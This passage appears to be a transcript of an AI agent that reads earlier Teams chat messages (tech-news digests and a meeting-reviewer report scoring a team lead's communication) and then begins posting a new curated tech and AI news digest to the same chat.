workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> The final 15 are clean against all 192 prior story titles (the highest similarity hit is only 0.25, and manual event checks also found no repeat announcement). All descriptions are 129\u2013155 characters, safely under the requested 200-character cap. I\u2019ve preserved the seven factor scores per item in the post as an ordered 1\u20135 score tuple plus a /35 total, then ranked ties by industry impact.\n>\n> \nRan a command, called 3 tools\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.validate_write_target\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"destination_hint\": \"ChatReview\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"can_post_directly\": true,\n>   \"reason\": \"Resolved an existing chat target.\",\n>   \"destination_type\": \"chat\",\n>   \"target_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"resolved_title\": \"ChatReview\",\n>   \"unsupported_operation\": null\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026\nReviewed 100 candidate articles published June 16\u201322 across Google News/RSS, Hacker News, GitHub, OpenAI, Microsoft, AWS, Google Cloud, CISA/security sources and major technology publications. De-duplicated against 17 prior ChatReview tech-news posts (192 linked stories) by underlying event.\nScore factors (in order): Industry impact; relevance to engineers/leaders; AI/ML significance; developer-tool/cloud/workflow impact; security/privacy/infrastructure; major-company adoption; novelty. Scores below show the seven 1\u20135 values in that order, followed by the total.\n\n\nSamsung Electronics brings ChatGPT and Codex to employees \u2014 34/35 (5+5+5+5+4+5+5)Samsung is rolling out ChatGPT Enterprise and Codex globally\u2014one of the clearest large-enterprise signals yet for AI coding and knowledge-work adoption.\n\nGoogle DeepMind details defenses against increasingly capable AI \u2014 33/35 (5+5+5+3+5+5+5)DeepMind details defenses against capable, imperfectly aligned AI, 